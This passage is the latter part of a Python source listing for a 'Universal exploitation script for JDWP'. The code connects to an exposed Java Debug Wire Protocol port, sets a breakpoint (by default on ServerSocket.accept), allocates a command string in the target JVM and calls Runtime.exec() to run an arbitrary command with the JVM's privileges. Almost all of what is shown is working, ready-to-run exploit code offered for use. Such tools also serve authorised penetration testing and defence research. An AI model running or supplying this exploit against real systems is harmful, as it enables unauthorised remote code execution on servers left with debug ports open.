propObjIds[0]["objId"] 807 | 808 | data = [ 809 | chr(TAG_OBJECT) + self._format(self.objectIDSize, propObjId), 810 | ] 811 | buf = self._invoke_static( 812 | systemClass["refTypeId"], threadId, getPropertyMeth["methodId"], *data 813 | ) 814 | if buf[0] != chr(TAG_STRING): 815 | print(("[-] %s: Unexpected returned type: expecting String" % propStr)) 816 | else: 817 | retId = self._unformat( 818 | self.objectIDSize, buf[1 : 1 + self.objectIDSize] 819 | ) 820 | res = self._solve_string(self._format(self.objectIDSize, retId)) 821 | print(f"[+] Found {propDesc} '{res}'") 822 | 823 | return True 824 | 825 | def _exec_payload( 826 | self, 827 | thread_id: int, 828 | runtime_class_id: int, 829 | get_runtime_meth_id: int, 830 | command: str, 831 | ) -> bool: 832 | """ 833 | Invokes a command on the JVM target using the JDWP protocol. This command will execute with JVM privileges. 834 | 835 | Args: 836 | thread_id (int): The identifier of the thread where the method will be invoked. 837 | runtime_class_id (int): The identifier of the Runtime class in the target JVM. 838 | get_runtime_meth_id (int): The identifier of the getRuntime method of the Runtime class. 839 | command (str): The command string to execute on the JVM. 840 | 841 | Raises: 842 | Exception: If any JDWP operation fails or the expected response is not received. 843 | 844 | Returns: 845 | bool: True if the command was successfully executed, False otherwise. 846 | """ 847 | print(f"[+] Payload to send: '{command}'") 848 | 849 | command = command.encode(encoding="utf-8") 850 | 851 | # Allocate string containing our command to exec() 852 | cmd_obj_ids = self._create_string(command) 853 | if not cmd_obj_ids: 854 | raise Exception("Failed to allocate command string on target JVM") 855 | cmd_obj_id = cmd_obj_ids[0]["objId"] 856 | print(f"[+] Command string object created id:{cmd_obj_id:x}") 857 | 858 | # Use context to get Runtime object 859 | buf = self._invoke_static(runtime_class_id, thread_id, get_runtime_meth_id) 860 | if buf[0] != TAG_OBJECT: 861 | raise Exception( 862 | "Unexpected return type from _invoke_static: expected Object" 863 | ) 864 | rt = self._unformat(self.objectIDSize, buf[1 : 1 + self.objectIDSize]) 865 | 866 | if rt is None: 867 | raise Exception("Failed to _invoke Runtime.getRuntime() method") 868 | 869 | print(f"[+] Runtime.getRuntime() returned context id:{rt:#x}") 870 | 871 | # Find exec() method 872 | exec_meth = self._get_method_by_name("exec") 873 | if exec_meth is None: 874 | raise Exception("Runtime.exec() method not found") 875 | print(f"[+] Found Runtime.exec(): id={exec_meth['methodId']:x}") 876 | 877 | # Call exec() in this context with the allocated string 878 | data = [ 879 | struct.pack(">B", TAG_OBJECT) + self._format(self.objectIDSize, cmd_obj_id) 880 | ] 881 | buf = self._invoke( 882 | rt, thread_id, runtime_class_id, exec_meth["methodId"], *data 883 | ) 884 | if buf[0] != TAG_OBJECT: 885 | raise Exception( 886 | "Unexpected return type from Runtime.exec(): expected Object" 887 | ) 888 | 889 | ret_id = self._unformat(self.objectIDSize, buf[1 : 1 + self.objectIDSize]) 890 | print(f"[+] Runtime.exec() successful, retId={ret_id:x}") 891 | return True 892 | 893 | # Properties 894 | @property 895 | def version(self) -> str: 896 | return f"{self.vmName} - {self.vmVersion}" 897 | 898 | 899 | def convert_to_jdwp_format(input_string: str) -> tuple: 900 | """ 901 | Convert a fully-qualified class name and method name into JDWP format. 902 | 903 | This function takes a string representing a fully-qualified class name and method name 904 | and converts it into the format used in JDWP (Java Debug Wire Protocol) for class and 905 | method references. 906 | 907 | Args: 908 | input_string (str): The fully-qualified class name and method name in the format "package.ClassName.method". 909 | 910 | Returns: 911 | tuple: A tuple containing two elements: 912 | - A string representing the JDWP format for the class reference. 913 | - A string representing the JDWP format for the method reference. 914 | 915 | Raises: 916 | ValueError: If the input string is not in the expected format. 917 | 918 | Example: 919 | Input: "com.example.MyClass.myMethod" 920 | Output: ("Lcom/example/MyClass;", "myMethod") 921 | """ 922 | i = input_string.rfind(".") 923 | if i == -1: 924 | raise ValueError("Invalid input format. Cannot parse path.") 925 | 926 | method = input_string[i + 1 :] 927 | class_name = "L" + input_string[:i].replace(".", "/") + ";" 928 | return class_name, method 929 | 930 | 931 | def main( 932 | target: str, port: int, break_on_method: str, break_on_class: str, cmd: str 933 | ) -> None: 934 | """ 935 | JDWP Exploitation Main Function 936 | 937 | This function connects to a JDWP server, sets up breakpoints, and executes commands 938 | on the target Java application using the JDWP protocol. 939 | 940 | Args: 941 | target (str): The hostname or IP address of the JDWP server to connect to. 942 | port (int): The port number on which the JDWP server is listening. 943 | break_on_method (str): The name of the method in the target Java application where 944 | a breakpoint should be set. 945 | break_on_class (str): The name of the class in the target Java application where 946 | the breakpoint should be set. 947 | cmd (str): The command to execute on the target Java application if the breakpoint is hit. 948 | 949 | Returns: 950 | None 951 | 952 | Raises: 953 | KeyboardInterrupt: If the user interrupts the execution. 954 | Exception: If any unexpected exceptions occur during execution. 955 | """ 956 | try: 957 | with JDWPClient(target, port) as cli: 958 | if not cli.run( 959 | break_on_method=break_on_method, break_on_class=break_on_class, cmd=cmd 960 | ): 961 | print("[-] Exploit failed") 962 | return 963 | 964 | except KeyboardInterrupt: 965 | print("[+] Exiting on user's request") 966 | return 967 | 968 | except Exception: 969 | print("[x] An unexpected exception occurred during execution:") 970 | traceback.print_exc() 971 | return 972 | 973 | 974 | if __name__ == "__main__": 975 | parser = argparse.ArgumentParser( 976 | description="Universal exploitation script for JDWP", 977 | formatter_class=argparse.ArgumentDefaultsHelpFormatter, 978 | ) 979 | 980 | parser.add_argument( 981 | "-t", 982 | "--target", 983 | type=str, 984 | metavar="IP", 985 | help="Remote target IP", 986 | required=False, 987 | default="0.0.0.0", 988 | ) 989 | parser.add_argument( 990 | "-p", 991 | "--port", 992 | type=int, 993 | metavar="PORT", 994 | default=8000, 995 | required=False, 996 | help="Remote target port", 997 | ) 998 | 999 | parser.add_argument( 1000 | "--break-on", 1001 | dest="break_on", 1002 | type=str, 1003 | metavar="JAVA_METHOD", 1004 | default="java.net.ServerSocket.accept", 1005 | required=False, 1006 | help="Specify full path to method to break on", 1007 | ) 1008 | parser.add_argument( 1009 | "-c", 1010 | "--cmd", 1011 | dest="cmd", 1012 | type=str, 1013 | metavar="COMMAND", 1014 | required=False, 1015 | help="Specify command to execute remotely", 1016 | ) 1017 | 1018 | args = parser.parse_args() 1019 | 1020 | classname, meth = convert_to_jdwp_format(args.break_on) 1021 | setattr(args, "break_on_class", classname) 1022 | setattr(args, "break_on_method", meth) 1023 | 1024 | main( 1025 | target=args.target, 1026 | port=args.port, 1027 | break_on_method=args.break_on_method, 1028 | break_on_class=args.break_on_class, 1029 | cmd=args.cmd, 1030 | ) 1031 | --------------------------------------------------------------------------------